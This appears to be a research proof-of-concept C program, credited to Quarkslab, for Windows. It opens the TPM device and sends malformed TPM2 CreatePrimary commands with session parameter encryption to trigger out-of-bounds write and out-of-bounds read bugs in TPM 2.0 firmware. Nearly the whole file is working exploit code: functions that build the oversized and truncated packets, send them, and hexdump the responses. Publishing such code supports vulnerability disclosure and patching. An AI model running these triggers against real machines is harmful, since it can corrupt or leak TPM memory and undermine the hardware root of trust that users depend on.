| 1 | + | /* |
| 2 | + | # BSD 2-Clause License |
| 3 | + | # |
| 4 | + | # Copyright (c) 2022, Quarkslab SAS |
| 5 | + | # All rights reserved. |
| 6 | + | # |
| 7 | + | # Redistribution and use in source and binary forms, with or without |
| 8 | + | # modification, are permitted provided that the following conditions are met: |
| 9 | + | # |
| 10 | + | # 1. Redistributions of source code must retain the above copyright notice, this |
| 11 | + | # list of conditions and the following disclaimer. |
| 12 | + | # |
| 13 | + | # 2. Redistributions in binary form must reproduce the above copyright notice, |
| 14 | + | # this list of conditions and the following disclaimer in the documentation |
| 15 | + | # and/or other materials provided with the distribution. |
| 16 | + | # |
| 17 | + | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" |
| 18 | + | # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE |
| 19 | + | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE |
| 20 | + | # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE |
| 21 | + | # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL |
| 22 | + | # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR |
| 23 | + | # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER |
| 24 | + | # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, |
| 25 | + | # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
| 26 | + | # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. |
| 27 | + | */ |
| 28 | + | |
| 29 | + | #include <Windows.h> |
| 30 | + | #include <stdio.h> |
| 31 | + | #include <winsock.h> |
| 32 | + | #include <string.h> |
| 33 | + | #include "Tpm.h" |
| 34 | + | |
| 35 | + | |
| 36 | + | #define BUFSIZE 0x20000 |
| 37 | + | #define TPM_IOCTL_SUBMIT_COMMAND_BLOCKING 0x22C00C |
| 38 | + | |
| 39 | + | |
| 40 | + | |
| 41 | + | void hexdump(void* abuffer, unsigned int buflen) { |
| 42 | + | unsigned int offset = 0; |
| 43 | + | unsigned int i, charcount, totalcount = 0, linepos = 0; |
| 44 | + | unsigned char* buf = (unsigned char*)abuffer; |
| 45 | + | |
| 46 | + | printf("offset\t\t00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\t\tdump\n"); |
| 47 | + | |
| 48 | + | for (i = 0; i < buflen / 0x10; i++) { |
| 49 | + | printf("0x%08x\t", offset); |
| 50 | + | offset += 0x10; |
| 51 | + | charcount = 0; |
| 52 | + | linepos = totalcount; |
| 53 | + | while ((charcount < 0x10) && (totalcount < buflen)) { |
| 54 | + | printf("%02x ", buf[totalcount]); |
| 55 | + | totalcount++; |
| 56 | + | charcount++; |
| 57 | + | } |
| 58 | + | printf("\t"); |
| 59 | + | for (unsigned int k = 0; k < 0x10; k++) { |
| 60 | + | if (isprint(buf[linepos])) { |
| 61 | + | printf("%c", buf[linepos]); |
| 62 | + | } |
| 63 | + | else { |
| 64 | + | printf("."); |
| 65 | + | } |
| 66 | + | linepos++; |
| 67 | + | } |
| 68 | + | printf("\n"); |
| 69 | + | } |
| 70 | + | |
| 71 | + | linepos = totalcount; |
| 72 | + | if (buflen % 0x10) { |
| 73 | + | printf("0x%08x\t", offset); |
| 74 | + | offset += 0x10; |
| 75 | + | charcount = 0; |
| 76 | + | while (charcount < buflen % 0x10) { |
| 77 | + | printf("%02x ", buf[totalcount + charcount]); |
| 78 | + | charcount++; |
| 79 | + | |
| 80 | + | } |
| 81 | + | for (i = 0; i < 0x10 - (buflen % 0x10); i++) { |
| 82 | + | printf(" "); |
| 83 | + | } |
| 84 | + | printf("\t"); |
| 85 | + | for (i = 0; i < buflen % 0x10; i++) { |
| 86 | + | if (isprint(buf[linepos])) { |
| 87 | + | printf("%c", buf[linepos]); |
| 88 | + | } |
| 89 | + | else { |
| 90 | + | printf("."); |
| 91 | + | } |
| 92 | + | linepos++; |
| 93 | + | } |
| 94 | + | printf("\n"); |
| 95 | + | } |
| 96 | + | printf("\n"); |
| 97 | + | } |
| 98 | + | |
| 99 | + | |
| 100 | + | HANDLE open_tpm() { |
| 101 | + | HANDLE hDevice; |
| 102 | + | |
| 103 | + | hDevice = CreateFile(L"\\??\\TPM", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, |
| 104 | + | NULL, OPEN_EXISTING, 0, NULL); |
| 105 | + | if (hDevice == INVALID_HANDLE_VALUE) { |
| 106 | + | printf("[-] CreateFile failed, last error: %d\n", GetLastError()); |
| 107 | + | } |
| 108 | + | else { |
| 109 | + | printf("[+] CreateFile succeeded, hFile: 0x%llx\n", (unsigned long long)hDevice); |
| 110 | + | } |
| 111 | + | return hDevice; |
| 112 | + | } |
| 113 | + | |
| 114 | + | |
| 115 | + | unsigned char* send_tpm_message(HANDLE hDevice, void* message, UINT32 message_size, DWORD* byteswritten) { |
| 116 | + | unsigned char* buf; |
| 117 | + | |
| 118 | + | if (message_size > BUFSIZE) { |
| 119 | + | printf("[-] message_size > 0x%x\n", BUFSIZE); |
| 120 | + | return NULL; |
| 121 | + | } |
| 122 | + | |
| 123 | + | buf = (unsigned char*)malloc(BUFSIZE); |
| 124 | + | if (!buf) { |
| 125 | + | printf("[-] malloc failed.\n"); |
| 126 | + | return NULL; |
| 127 | + | } |
| 128 | + | |
| 129 | + | memcpy(buf, message, message_size); |
| 130 | + | if (DeviceIoControl(hDevice, TPM_IOCTL_SUBMIT_COMMAND_BLOCKING, buf, message_size, buf, BUFSIZE, byteswritten, NULL)) { |
| 131 | + | printf("[+] DeviceIoControl succeeded. byteswritten = 0x%x\n", *byteswritten); |
| 132 | + | printf("Raw response:\n"); |
| 133 | + | hexdump(buf, *byteswritten); |
| 134 | + | return buf; |
| 135 | + | } |
| 136 | + | else { |
| 137 | + | printf("[-] DeviceIoControl failed, last error: %d\n", GetLastError()); |
| 138 | + | free(buf); |
| 139 | + | return NULL; |
| 140 | + | } |
| 141 | + | } |
| 142 | + | |
| 143 | + | |
| 144 | + | DWORD get_tpm_property(HANDLE hDevice, TPM_PT property) { |
| 145 | + | TPM_PROP_RESPONSE *response; |
| 146 | + | TPM_PROP tpm_prop; |
| 147 | + | DWORD byteswritten; |
| 148 | + | |
| 149 | + | printf("Getting TPM property 0x%08x...\n", property); |
| 150 | + | memset(&tpm_prop, 0, sizeof(tpm_prop)); |
| 151 | + | tpm_prop.base.tag = htons(0x0201); // TPM_ST_NO_SESSIONS |
| 152 | + | tpm_prop.base.size = htonl(sizeof(tpm_prop)); |
| 153 | + | tpm_prop.base.command = htonl(TPM_CC_GetCapability); |
| 154 | + | tpm_prop.capability = htonl(TPM_CAP_TPM_PROPERTIES); |
| 155 | + | tpm_prop.property = htonl(property); |
| 156 | + | tpm_prop.property_count = htonl(1); |
| 157 | + | response = (TPM_PROP_RESPONSE *)send_tpm_message(hDevice, &tpm_prop, sizeof(tpm_prop), &byteswritten); |
| 158 | + | if (byteswritten < sizeof(TPM_PROP_RESPONSE)) { |
| 159 | + | printf("[-] Response length (0x%x) < sizeof(TPM_PROP_RESPONSE) (0x%llx)\n", byteswritten, sizeof(TPM_PROP_RESPONSE)); |
| 160 | + | return 0; |
| 161 | + | } |
| 162 | + | if (ntohl(response->base.command != 0)) { |
| 163 | + | printf("[-] TPM_CC_GetCapability returned error 0x%x\n", ntohl(response->base.command)); |
| 164 | + | return 0; |
| 165 | + | } |
| 166 | + | return ntohl(response->capabilityData.data.tpmProperties.tpmProperty[0].value); |
| 167 | + | } |
| 168 | + | |
| 169 | + | unsigned char* poc_oob_write(HANDLE hDevice, DWORD sessionHandle, DWORD max_command_size, DWORD* byteswritten) { |
| 170 | + | char* buf; |
| 171 | + | CREATE_PRIMARY create_primary; |
| 172 | + | |
| 173 | + | /* |
| 174 | + | 0x02, 0x02, // TPM_ST_SESSIONS |
| 175 | + | 0x00, 0x00, 0x10, 0x00, // total size = 0x1000 |
| 176 | + | 0x00, 0x00, 0x01, 0x31, // command = TPM_CC_CreatePrimary |
| 177 | + | 0x40, 0x00, 0x00, 0x01, // handle = TPM_RH_OWNER |
| 178 | + | 0x00, 0x00, 0x00, 0x09, // authorization size |
| 179 | + | |
| 180 | + | // session area |
| 181 | + | // TPMS_AUTH_COMMAND struct starts here |
| 182 | + | 0x02, 0x00, 0x00, 0x00, // sessionHandle |
| 183 | + | 0x00, 0x00, // nonce size |
| 184 | + | // no nonceCaller (0 bytes) |
| 185 | + | 0x20, // session attributes = decrypt |
| 186 | + | 0x00, 0x00, // authValue (PW or HMAC) |
| 187 | + | |
| 188 | + | // Parameters for the command |
| 189 | + | 0x0f, 0xe5 // paramSize |
| 190 | + | // parameters should follow |
| 191 | + | */ |
| 192 | + | |
| 193 | + | memset(&create_primary, 0, sizeof(create_primary)); |
| 194 | + | create_primary.base.tag = htons(0x0202); // TPM_ST_SESSIONS |
| 195 | + | create_primary.base.command = htonl(TPM_CC_CreatePrimary); |
| 196 | + | create_primary.base.size = htonl(max_command_size); // maximum length |
| 197 | + | create_primary.handle = htonl(TPM_RH_OWNER); |
| 198 | + | |
| 199 | + | create_primary.authorizationSize = htonl(sizeof(TPMS_AUTH_COMMAND)); |
| 200 | + | create_primary.authCommand.sessionHandle = htonl(sessionHandle); |
| 201 | + | create_primary.authCommand.nonceSize = htons(0x0000); // no nonce |
| 202 | + | create_primary.authCommand.sessionAttributes.decrypt = 1; // signal than parameters must be encrypted |
| 203 | + | create_primary.authCommand.authValue = htons(0x0000); |
| 204 | + | create_primary.paramSize = htons(max_command_size - sizeof(create_primary) + 2); // 0x1000 - sizeof(create_primary) + 2 |
| 205 | + | |
| 206 | + | if (max_command_size < sizeof(create_primary)) { |
| 207 | + | printf("[-] max_command_size is too small.\n"); |
| 208 | + | return NULL; |
| 209 | + | } |
| 210 | + | |
| 211 | + | buf = (char*)malloc(max_command_size); |
| 212 | + | if (!buf) { |
| 213 | + | printf("- malloc failed.\n"); |
| 214 | + | return NULL; |
| 215 | + | } |
| 216 | + | memset(buf, 0x41, max_command_size); |
| 217 | + | memcpy(buf, &create_primary, sizeof(create_primary)); |
| 218 | + | hexdump(buf, max_command_size); |
| 219 | + | |
| 220 | + | return send_tpm_message(hDevice, buf, max_command_size, byteswritten); |
| 221 | + | |
| 222 | + | } |
| 223 | + | |
| 224 | + | |
| 225 | + | unsigned char* poc_oob_read(HANDLE hDevice, DWORD sessionHandle, DWORD* byteswritten) { |
| 226 | + | SHORT_CREATE_PRIMARY short_create_primary; |
| 227 | + | |
| 228 | + | memset(&short_create_primary, 0, sizeof(short_create_primary)); |
| 229 | + | short_create_primary.base.tag = htons(0x0202); // TPM_ST_SESSIONS |
| 230 | + | short_create_primary.base.command = htonl(TPM_CC_CreatePrimary); |
| 231 | + | short_create_primary.base.size = htonl(sizeof(short_create_primary)); |
| 232 | + | short_create_primary.handle = htonl(TPM_RH_OWNER); |
| 233 | + | |
| 234 | + | short_create_primary.authorizationSize = htonl(sizeof(TPMS_AUTH_COMMAND)); // 9, the bare minimum |
| 235 | + | short_create_primary.authCommand.sessionHandle = htonl(sessionHandle); |
| 236 | + | short_create_primary.authCommand.nonceSize = htons(0x0000); // no nonce |
| 237 | + | short_create_primary.authCommand.sessionAttributes.decrypt = 1; // parameters must be decrypted |
| 238 | + | short_create_primary.authCommand.authValue = htons(0x0000); |
| 239 | + | // missing 'paramSize' here! |
| 240 | + | |
| 241 | + | printf("short_create_primary struct (size: 0x%llx):\n", sizeof(short_create_primary)); |
| 242 | + | hexdump(&short_create_primary, sizeof(short_create_primary)); |
| 243 | + | |
| 244 | + | return send_tpm_message(hDevice, &short_create_primary, sizeof(short_create_primary), byteswritten); |
| 245 | + | |
| 246 | + | } |
| 247 | + | |
| 248 | + | |
| 249 | + | AUTH_RESPONSE* create_session_symmetric_xor(HANDLE hDevice, DWORD* byteswritten) { |
| 250 | + | AUTH_RESPONSE* auth_response = NULL; |
| 251 | + | CREATE_SESSION create_session; |
| 252 | + | |
| 253 | + | memset(&create_session, 0, sizeof(create_session)); |
| 254 | + | create_session.base.tag = htons(0x0201); // TPM_ST_NO_SESSIONS |
| 255 | + | create_session.base.size = htonl(sizeof(create_session)); |
| 256 | + | create_session.base.command = htonl(TPM_CC_StartAuthSession); |
| 257 | + | |
| 258 | + | create_session.tpmKey = htonl(TPM_RH_NULL); |
| 259 | + | create_session.bind = htonl(TPM_RH_NULL); |
| 260 | + | create_session.nonceCallerLength = htons(0x20); |
| 261 | + | memset(&create_session.nonceCaller, 0x41, sizeof(create_session.nonceCaller)); |
| 262 | + | create_session.encryptedSaltLength = htons(0x0000); |
| 263 | + | create_session.sessionType = 0x00; // session type = TPM_SE_HMAC |
| 264 | + | create_session.symmetricAlgorithm = htons(TPM_ALG_XOR); |
| 265 | + | create_session.symmetricKeyBits = htons(TPM_ALG_SHA256); |
| 266 | + | create_session.authHash = htons(TPM_ALG_SHA256); |
| 267 | + | |
| 268 | + | hexdump(&create_session, sizeof(create_session)); |
| 269 | + | |
| 270 | + | auth_response = (AUTH_RESPONSE*)send_tpm_message(hDevice, &create_session, sizeof(create_session), byteswritten); |
| 271 | + | if (!auth_response) { |
| 272 | + | return NULL; |
| 273 | + | } |
| 274 | + | auth_response->tag = ntohs(auth_response->tag); |
| 275 | + | auth_response->size = ntohl(auth_response->size); |
| 276 | + | auth_response->responseCode = ntohl(auth_response->responseCode); |
| 277 | + | auth_response->sessionHandle = ntohl(auth_response->sessionHandle); |
| 278 | + | auth_response->nonceTPMSize = ntohs(auth_response->nonceTPMSize); |
| 279 | + | return auth_response; |
| 280 | + | } |
| 281 | + | |
| 282 | + | |
| 283 | + | void print_vendor_info(HANDLE hDevice) { |
| 284 | + | DWORD manufacturer, version1, version2; |
| 285 | + | UINT16 *v1, *v2; |
| 286 | + | char manufacturer_str[5]; |
| 287 | + | DWORD vendor_strings[4]; |
| 288 | + | unsigned int i; |
| 289 | + | |
| 290 | + | manufacturer = get_tpm_property(hDevice, TPM_PT_MANUFACTURER); |
| 291 | + | |
| 292 | + | for (i = 0; i < 4; i++) { |
| 293 | + | vendor_strings[i] = get_tpm_property(hDevice, TPM_PT_VENDOR_STRING_1 + i); |
| 294 | + | } |
| 295 | + | |
| 296 | + | version1 = get_tpm_property(hDevice, TPM_PT_FIRMWARE_VERSION_1); |
| 297 | + | v1 = (UINT16*)&version1; |
| 298 | + | version2 = get_tpm_property(hDevice, TPM_PT_FIRMWARE_VERSION_2); |
| 299 | + | v2 = (UINT16*)&version2; |
| 300 | + | |
| 301 | + | manufacturer_str[4] = 0; // just a null terminator for the string |
| 302 | + | *(DWORD*)manufacturer_str = htonl(manufacturer); |
| 303 | + | printf("\n=== Vendor information===\n"); |
| 304 | + | printf("\t[i] TPM manufacturer: 0x%08x (\"%s\")\n", manufacturer, (char*)&manufacturer_str); |
| 305 | + | printf("\t[i] Vendor strings: ["); |
| 306 | + | |
| 307 | + | for (i = 0; i < 4; i++) { |
| 308 | + | printf("0x%08x ", vendor_strings[i]); |
| 309 | + | } |
| 310 | + | printf("] (\""); |
| 311 | + | |
| 312 | + | for (i = 0; i < 4; i++) { |
| 313 | + | *(DWORD*)manufacturer_str = htonl(vendor_strings[i]); |
| 314 | + | printf("%s", manufacturer_str); |
| 315 | + | } |
| 316 | + | printf("\")\n"); |
| 317 | + | |
| 318 | + | printf("\t[i] Firmware version: [0x%08x 0x%08x] (\"%d.%d.%d.%d\")\n\n", version1, version2, \ |
| 319 | + | *(v1+1), *v1, *(v2+1), *v2); |
| 320 | + | |
| 321 | + | } |
| 322 | + | |
| 323 | + | |
| 324 | + | int main(int argc, char** argv) { |
| 325 | + | HANDLE hDevice; |
| 326 | + | unsigned char* buf = NULL; |
| 327 | + | DWORD response_size = 0, max_command_size; |
| 328 | + | AUTH_RESPONSE* auth_response = NULL; |
| 329 | + | POC_NUMBER poc_number; |
| 330 | + | |
| 331 | + | |
| 332 | + | if (argc < 2) { |
| 333 | + | printf("Usage: %s < oobread | oobwrite >\n", argv[0]); |
| 334 | + | return 1; |
| 335 | + | } |
| 336 | + | |
| 337 | + | if (!_strcmpi(argv[1], "oobread")) { |
| 338 | + | poc_number = POC_OOB_READ; |
| 339 | + | } |
| 340 | + | else if (!_strcmpi(argv[1], "oobwrite")) { |
| 341 | + | poc_number = POC_OOB_WRITE; |
| 342 | + | } |
| 343 | + | else { |
| 344 | + | printf("[-] Unkown argument %s\n", argv[1]); |
| 345 | + | return 1; |
| 346 | + | } |
| 347 | + | |
| 348 | + | hDevice = open_tpm(); |
| 349 | + | if (hDevice == INVALID_HANDLE_VALUE) { |
| 350 | + | return 1; |
| 351 | + | } |
| 352 | + | |
| 353 | + | print_vendor_info(hDevice); |
| 354 | + | |
| 355 | + | printf("++++++ Creating session ++++++\n"); |
| 356 | + | auth_response = create_session_symmetric_xor(hDevice, &response_size); |
| 357 | + | |
| 358 | + | if (auth_response) { |
| 359 | + | printf("Auth Response (0x%x bytes):\n", response_size); |
| 360 | + | //hexdump(buf, response_size); |
| 361 | + | printf("\tauth_response.responseCode: 0x%x\n", auth_response->responseCode); |
| 362 | + | |
| 363 | + | if (auth_response->responseCode != 0) { |
| 364 | + | printf("responseCode != 0, something failed.\n"); |
| 365 | + | goto finish; |
| 366 | + | } |
| 367 | + | printf("\tauth_response.sessionHandle: 0x%x\n", auth_response->sessionHandle); |
| 368 | + | printf("\tauth_response.nonce_size: 0x%x\n", auth_response->nonceTPMSize); |
| 369 | + | printf("\tauth:response.nonce: \n"); |
| 370 | + | hexdump(&auth_response->nonceTPM, auth_response->nonceTPMSize); |
| 371 | + | |
| 372 | + | |
| 373 | + | switch (poc_number) { |
| 374 | + | case POC_OOB_WRITE: |
| 375 | + | max_command_size = get_tpm_property(hDevice, TPM_PT_MAX_COMMAND_SIZE); |
| 376 | + | if (max_command_size == 0) { |
| 377 | + | printf("[-] Couldn't determine TPM_PT_MAX_COMMAND_SIZE, exiting.\n"); |
| 378 | + | goto finish; |
| 379 | + | } |
| 380 | + | printf("++++++ Trying OOB write PoC. Max command size: 0x%x ++++++\n", max_command_size); |
| 381 | + | buf = poc_oob_write(hDevice, auth_response->sessionHandle, max_command_size, &response_size); |
| 382 | + | break; |
| 383 | + | case POC_OOB_READ: |
| 384 | + | printf("++++++ Trying OOB read PoC... ++++++\n"); |
| 385 | + | buf = poc_oob_read(hDevice, auth_response->sessionHandle, &response_size); |
| 386 | + | break; |
| 387 | + | default: |
| 388 | + | printf("[-] Unknown option.\n"); |
| 389 | + | break; |
| 390 | + | } |
| 391 | + | } |
| 392 | + | |
| 393 | + | |
| 394 | + | finish: |
| 395 | + | if (buf) { |
| 396 | + | free(buf); |
| 397 | + | } |
| 398 | + | if (auth_response) { |
| 399 | + | free(auth_response); |
| 400 | + | } |
| 401 | + | CloseHandle(hDevice); |
| 402 | + | return 0; |
| 403 | + | } |
| 404 | + | |
| 405 | + | |